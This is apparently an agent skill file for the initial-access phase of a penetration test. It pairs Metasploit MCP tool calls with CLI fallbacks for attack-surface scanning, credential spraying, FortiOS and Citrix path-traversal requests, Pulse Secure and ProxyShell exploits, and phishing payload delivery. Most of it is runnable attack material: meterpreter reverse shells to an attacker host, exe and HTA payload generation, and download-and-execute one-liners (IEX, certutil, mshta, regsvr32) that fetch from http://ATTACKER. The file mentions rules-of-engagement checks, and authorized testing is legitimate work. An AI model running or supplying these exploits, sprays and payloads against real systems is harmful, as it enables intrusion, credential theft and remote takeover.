initial-access-pentest

name	initial-access-pentest
description	Guides initial access techniques including external attack surface mapping, credential abuse, phishing delivery chains, and client-side payload planning. Use during external engagement phases before exploitation.

Initial Access Pentest

Prerequisites

• Target is in scope (scope/scope-master.txt, engagement ROE).
• Phishing and credential spraying require explicit ROE authorization.
• Social engineering must use approved pretexts and infrastructure.

Workflow

Task Progress:
- [ ] Map external attack surface (web, VPN, email, exposed services)
- [ ] Prioritize credential and service-based entry paths
- [ ] Validate findings with safe checks before exploit delivery
- [ ] Cross-reference MSF modules after vulnerability confirmation
- [ ] Document delivery chain if phishing is in scope

Phase 1: External attack surface mapping

Web and application discovery

MSF MCP (preferred):

msf_db_nmap(
  engagement_id="<id>",
  targets="<target>",
  nmap_args="-sV -sC -p 21,22,25,80,443,445,3389,5985,8080,8443"
)
msf_run_auxiliary_module(
  module_name="auxiliary/scanner/http/http_version",
  engagement_id="<id>",
  options={"RHOSTS": "<target>", "RPORT": 443, "SSL": true}
)
msf_run_auxiliary_module(
  module_name="auxiliary/scanner/http/dir_scanner",
  engagement_id="<id>",
  options={"RHOSTS": "<target>", "RPORT": 443, "SSL": true}
)

CLI fallback:

subfinder -d domain.com -o subs.txt
httpx -l subs.txt -o live.txt
whatweb -i live.txt
nuclei -l live.txt -t exposures/
gobuster dir -u https://TARGET/ -w common.txt
nmap -sS -sV -p- --open TARGET

Map: VPN portals, OWA/Exchange, Citrix, RDP gateways, admin panels, dev/staging subdomains.

VPN portal testing

MSF MCP (preferred):

msf_run_auxiliary_module(
  module_name="auxiliary/scanner/http/http_login",
  engagement_id="<id>",
  options={"RHOSTS": "<vpn>", "RPORT": 443, "SSL": true, "TARGETURI": "/remote/login", "USERPASS_FILE": "/tmp/creds.txt"}
)
msf_search_modules(query="vpn pulse secure citrix")

CLI fallback:

# Fingerprint VPN
curl -skI https://vpn.target.com/
whatweb https://vpn.target.com/

# Credential spray (ROE throttle)
ffuf -u https://vpn.target.com/remote/login -X POST \
  -d "username=FUZZ&password=Winter2026!" -w users.txt -mc 200,302

# Check for known CVEs by version
nuclei -u https://vpn.target.com -t cves/
searchsploit "pulse secure"
searchsploit "fortinet ssl vpn"

Phase 2: Edge device CVE modules

Fortinet FortiOS (CVE-2018-13379)

MSF: Use msf_search_modules(query="fortigate") or msf_search_modules(query="CVE-2018-13379") to find current FortiOS modules.

CLI fallback:

# FortiOS path traversal (read passwd)
curl -k "https://<vpn>/remote/fgt_lang?lang=/../../../..//////////dev/cov"
# Citrix ADC path traversal
curl -k "https://<vpn>/vpn/../vpns/cfg/smb.conf"
nuclei -u https://<vpn> -t cves/2023/

Pulse Secure / Ivanti

MSF MCP (preferred):

msf_module_check(
  module_name="exploit/linux/http/pulse_secure_gzip_rce",
  engagement_id="<id>",
  module_type="exploit",
  options={"RHOSTS": "<vpn>", "RPORT": 443, "SSL": true}
)
msf_run_exploit(
  module_name="exploit/linux/http/pulse_secure_gzip_rce",
  engagement_id="<id>",
  options={"RHOSTS": "<vpn>", "RPORT": 443, "SSL": true, "PAYLOAD": "linux/x64/meterpreter/reverse_tcp", "LHOST": "<attacker>", "LPORT": 4444}
)

CLI fallback:

nmap --script http-vuln-cve2019-11510 -p 443 <vpn>
python3 CVE-2019-11510.py https://<vpn>

Exchange / OWA

MSF MCP (preferred):

msf_module_check(
  module_name="exploit/windows/http/exchange_proxylogon_rce",
  engagement_id="<id>",
  module_type="exploit",
  options={"RHOSTS": "<exchange>", "RPORT": 443, "SSL": true}
)
msf_run_exploit(
  module_name="exploit/windows/http/exchange_proxyshell_rce",
  engagement_id="<id>",
  options={"RHOSTS": "<exchange>", "RPORT": 443, "SSL": true, "EMAIL": "[e-mail]"}
)

CLI fallback:

python3 proxyshell.py -e [e-mail] https://<exchange>
nuclei -u https://<exchange> -t cves/2021/

Always msf_module_check before exploit. Include engagement_id.

Phase 3: Credential abuse

Password spray

MSF MCP (preferred):

msf_run_auxiliary_module(
  module_name="auxiliary/scanner/smb/smb_login",
  engagement_id="<id>",
  options={"RHOSTS": "10.10.10.10", "SMBUser": "users.txt", "SMBPass": "Winter2026!", "SMBDomain": "domain.local", "STOP_ON_SUCCESS": true}
)
msf_run_auxiliary_module(
  module_name="auxiliary/scanner/ssh/ssh_login",
  engagement_id="<id>",
  options={"RHOSTS": "10.10.10.10", "USERNAME": "users.txt", "PASSWORD": "Winter2026!"}
)
msf_run_auxiliary_module(
  module_name="auxiliary/scanner/rdp/rdp_scanner",
  engagement_id="<id>",
  options={"RHOSTS": "10.10.10.10"}
)

CLI fallback:

crackmapexec smb 10.10.10.10 -u users.txt -p 'Winter2026!' --continue-on-success
crackmapexec owa domain.com -u users.txt -p 'Winter2026!' --continue-on-success
hydra -L users.txt -p 'Winter2026!' ssh://10.10.10.10 -t 1

Throttle: 1 attempt per user per hour if lockout threshold unknown.

Valid cred follow-up

MSF MCP (preferred):

msf_run_exploit(
  module_name="exploit/windows/smb/psexec",
  engagement_id="<id>",
  options={"RHOSTS": "10.10.10.10", "SMBUser": "user", "SMBPass": "pass", "PAYLOAD": "windows/meterpreter/reverse_https", "LHOST": "<attacker>", "LPORT": 443}
)
msf_start_listener(
  payload="windows/x64/meterpreter/reverse_https",
  lhost="<attacker>",
  lport=443,
  engagement_id="<id>"
)

CLI fallback:

crackmapexec smb 10.10.10.10 -u user -p pass --shares
evil-winrm -i 10.10.10.10 -u user -p pass

Phase 4: Phishing and client-side delivery

Delivery chain: DELIVERY(CONTAINER(TRIGGER + PAYLOAD + DECOY))

MSF MCP (preferred):

msf_generate_payload(
  payload="windows/x64/meterpreter/reverse_https",
  format="exe",
  options={"LHOST": "<attacker>", "LPORT": 443},
  engagement_id="<id>"
)
msf_generate_payload(
  payload="windows/meterpreter/reverse_https",
  format="hta-psh",
  options={"LHOST": "<attacker>", "LPORT": 443},
  engagement_id="<id>"
)
msf_start_listener(
  payload="windows/x64/meterpreter/reverse_https",
  lhost="<attacker>",
  lport=443,
  engagement_id="<id>"
)
msf_run_exploit(
  module_name="exploit/windows/misc/regsvr32_applocker_bypass",
  engagement_id="<id>",
  options={"RHOSTS": "<target>", "PAYLOAD": "windows/meterpreter/reverse_https", "LHOST": "<attacker>", "LPORT": 443}
)

CLI fallback:

IEX (New-Object Net.WebClient).DownloadString('http://ATTACKER/payload.ps1')
certutil -urlcache -split -f http://ATTACKER/payload.exe payload.exe
mshta http://ATTACKER/payload.hta
regsvr32 /s /n /u /i:http://ATTACKER/file.sct scrobj.dll

HTML smuggling, ISO/LNK containers: see delivery chain table in prior docs. Coordinate with red-team-evasion for OPSEC.

Phase 5: Web-based initial access

MSF MCP (preferred):

msf_search_modules(query="type:exploit platform:windows")
msf_search_modules(query="login")
msf_module_check(
  module_name="exploit/multi/http/...",
  engagement_id="<id>",
  module_type="exploit",
  options={"RHOSTS": "<target>"}
)
msf_run_exploit(
  module_name="exploit/multi/http/...",
  engagement_id="<id>",
  options={"RHOSTS": "<target>", "PAYLOAD": "...", "LHOST": "<attacker>", "LPORT": 443}
)

CLI fallback:

Prioritize: default creds on admin panels, exposed .git/.env, edge device CVEs, web app RCE (web-app-pentest).

Detection awareness

Document how blue team would detect each vector: HTML smuggling download events, ISO/LNK MOTW bypass, spray from single IP, macro-free Office network connections.

Related skills

• web-app-pentest - OWASP testing on external web apps
• internal-ad-pentest - AD spray and relay after creds
• msf-exploit-chain - exploit delivery and handler setup
• red-team-evasion - payload delivery OPSEC